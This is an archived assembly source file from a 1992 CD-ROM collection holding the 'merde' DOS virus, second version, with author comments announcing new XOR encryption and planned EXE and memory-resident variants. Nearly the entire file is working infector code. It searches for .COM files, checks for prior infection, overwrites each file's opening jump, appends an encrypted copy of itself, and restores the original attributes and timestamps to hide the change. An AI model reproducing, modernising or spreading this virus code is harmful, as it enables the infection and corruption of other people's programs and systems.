home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MERDE-2.ASM < prev    next >
Assembly Source File  |  1992-04-16  |  5KB  |  203 lines

  1. ;well, here's the next installment of the merde virus...all that is new;
  2. ;is your run of the mill xor encryption........and a little change in;
  3. ;the code itself to make it slightly more modular...;
  4. ;up+coming:    .exe version(why put 'em together? makes it too big);
  5. ;        an actual function besides infect!;
  6. ;        TSR infect version?;        
  7. attrib            equ    21
  8. time            equ    22
  9. date            equ    24
  10. fspec_address        equ    0e4h
  11. filesize        equ    26
  12. fname            equ    30
  13. dta            equ    80h
  14. virsize            equ    354
  15. byte_compare_val    equ    35    
  16. CODE_SEG    SEGMENT BYTE 
  17.     ASSUME DS:CODE_SEG, CS:CODE_SEG
  18.     ORG 100h
  19. first:    jmp    caller
  20.     db    128 dup(00)
  21. caller:    call    caller2        ;si=this address for the whole thing;
  22.  
  23. ;ok, for encryption, we use the value of the byte at the jump instruction;
  24. ;if the file we find isn't infected...;
  25.  
  26. encryptv:    db    ?
  27.  
  28. ;si=offset of the "caller";
  29.  
  30. caller2:    pop    si    
  31.     sub    si,3
  32.     jmp    getstart
  33.  
  34. ;jmp to getstart and have it call us back, getting the address of "start";
  35. ;into es..(I know, why not just add the size of the stuff to si?;
  36. ;I'll do it some other time; 
  37.  
  38. after:    pop    es        ;es=start:;    
  39.  
  40. ;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
  41. ;function so it was more unsingular to a particular circumstance;
  42.     
  43.     mov    bp,es        ;unencrypt de code+jump to virus;
  44.     jmp    encrypt
  45.  
  46. ;if we are being called from the write proc, we need to save BP on the stack;
  47.  
  48. encrypt_w:    mov    ax,bp    ;ax=whereto jump at end;
  49.         pop    bp    ;bp=return to write routine;
  50.         push    ax    ;where to jump at end is on stack
  51. ;note the standard, run o' the mill encrypt/decrypt!;
  52.  
  53. encrypt:    push    bx        ;might not be needed, I'll check later;
  54.         push    si
  55.         mov    cl,[si+3]    ;offset of encrypt value;
  56.         mov    bx,es        ;where to start encrypting;
  57.         xor    si,si
  58. xloop:        mov    al,[bx+si]
  59.         xor    al,cl
  60.         mov    [bx+si],al
  61.         cmp    si,0e7h        ;size of post-start(or close enough);
  62.         ja    done
  63.         inc    si
  64.         jmp    xloop
  65.     done:    pop    si
  66.         pop    bx
  67.         jmp    bp        ;jump whereever we were supposed to;
  68.  
  69. write_code:    call    encrypt_w    ;yep, encrypt it;
  70.         pop    bp        ;get back address in this infected file;
  71.         mov    bx,[di+9]    ;file to jump to, and file handle;
  72.         mov    ah,40h
  73.         mov    cx,virsize    ;total virus size
  74.         mov    dx,si
  75.         int    21h
  76.         call    close_current
  77.         jmp    nofiles        ;not really, just didn't change name;
  78. ;this proc closes the file with original stats;
  79. close_current:    
  80.     mov    dx,[di+14]
  81.     mov    cx,[di+12]
  82.     mov    ax,5701h
  83.     mov    bx,[di+9]
  84.     int    21h
  85.     mov    ah,3eh
  86.     int    21h
  87.     mov    ax,4301h
  88.     xor    ch,ch
  89.     mov    cl,[di+11]
  90.     int    21h
  91.     ret
  92. nofiles:    push    ds
  93.         pop    es
  94.         jmp    bp
  95.  
  96. getstart:    call    after            
  97.  
  98.  
  99. ;encrypted from here on out-es=start of this procedure;
  100. start:    mov    di,es
  101.     add    di,fspec_address    ;di=ADDRESS OF FILESPEC!; 
  102.     mov    dh,[di+18]    
  103.     mov    ah,[di+17]
  104.     mov    al,[di+16]
  105.     mov    bx,100h
  106.     mov    [bx],al
  107.     mov    [bx+1],ah
  108.     mov    [bx+2],dh
  109.     mov    bp,bx
  110.     mov    ah,4eh        ;------------------;
  111.     mov    cx,33
  112.     mov    dx,di        ;find file match;
  113. search:    int    21h
  114.     jc    nofiles        ;get out if none found;        
  115.     mov    bx,dta+filesize    ;compare filesize via BX;
  116.     cmp    word ptr [bx],65000
  117.     ja    leave1
  118.     cmp    word ptr [bx],150
  119.     jb    leave1
  120.     jmp    ok
  121. leave1:    mov    ah,4fh
  122.     jmp    search
  123. ok:    CLC
  124.  
  125.     ;Okay-- DI=base of fspec;
  126.     mov    bx,dta+attrib
  127.     mov    al,[bx]
  128.     mov    [di+11],al    ;save attrib;
  129.     mov    ax,word ptr [bx+1]
  130.     mov    [di+12],ax    ;save time;
  131.     mov    ax,word ptr [bx+3]
  132.     mov    [di+14],ax    ;save date; 
  133.     mov    ax,4301h
  134.     mov    cx,0
  135.     mov    dx,dta+fname
  136.     int    21h        ;set attrib to 0;
  137. label2:    mov    ax,3d02h
  138.     int    21h
  139.     mov    [di+9],ax    ;open + save handle;
  140.     mov    bx,ax
  141.     mov    ah,3fh
  142.     mov    cx,3
  143.     mov    dx,di
  144.     add    dx,16        ;dx points to save area for first three bytes;
  145.     int    21h        ;open handle, and read 3 bytes into it;
  146.     cmp    byte ptr [di+16],0e9h
  147.     jne    label1
  148. cont:    mov    ax,4200h
  149.     xor    cx,cx
  150.     mov    dx,[di+17]
  151.     add    dx,3+byte_compare_val
  152.     mov    bx,[di+9]
  153.     int    21h
  154.     mov    ah,3fh
  155.     mov    cx,2
  156.     mov    dx,di
  157.     add    dx,6
  158.     int    21h
  159.     mov    dx,[di+6]
  160.     cmp    dx,[si+byte_compare_val]
  161.     jne    label1
  162.     call    close_current
  163.     jmp    leave1
  164. label1:    
  165.     ;set encrypt value here---(low order byte of filesize of next file;
  166.     mov    bx,dta+filesize
  167.     mov    dl,[bx]
  168.     mov    [si+3],dl
  169.     mov    bx,[di+9]
  170.     mov    ax,4200h
  171.     xor    cx,cx
  172.     mov    dx,0
  173.     int    21h
  174. ;okay, this is kinda thick..;
  175. ;set pointer to after jmp instruct, and change address to size;
  176. ;of file plus 3 for jmp instruction, minding that we have to flip stuff;
  177.     mov    bx,dta+filesize
  178.     mov    dh,[bx+1]    ;high val equals 2nd part of word+vice versa;
  179.     mov    dl,[bx]
  180.     sub    dx,3
  181.     mov    [di+7],dx
  182.     mov    byte ptr [di+6],0e9h    
  183.     mov    ah,40h
  184.     mov    bx,[di+9]
  185.     mov    dx,di
  186.     add    dx,6
  187.     mov    cx,3
  188.     int    21h
  189.     xor    cx,cx
  190.     mov    ax,4202h
  191.     xor    dx,dx
  192.     int    21h
  193.     jmp    write_code
  194.  
  195. fspec:    db    '*.com',0    ;bx+0;
  196. disk_buffer:    db    3 DUP(?)    ;di+6;
  197. handle:        dw    ?        ;di+9;
  198. attribute:    db    ?        ;di+11;
  199. otime:        dw    ?        ;di+12;
  200. odate:        dw    ?        ;di+14;
  201. first_3:    db    0cdh,20h,00    ;di+16;
  202. CODE_SEG    ENDS
  203. END    first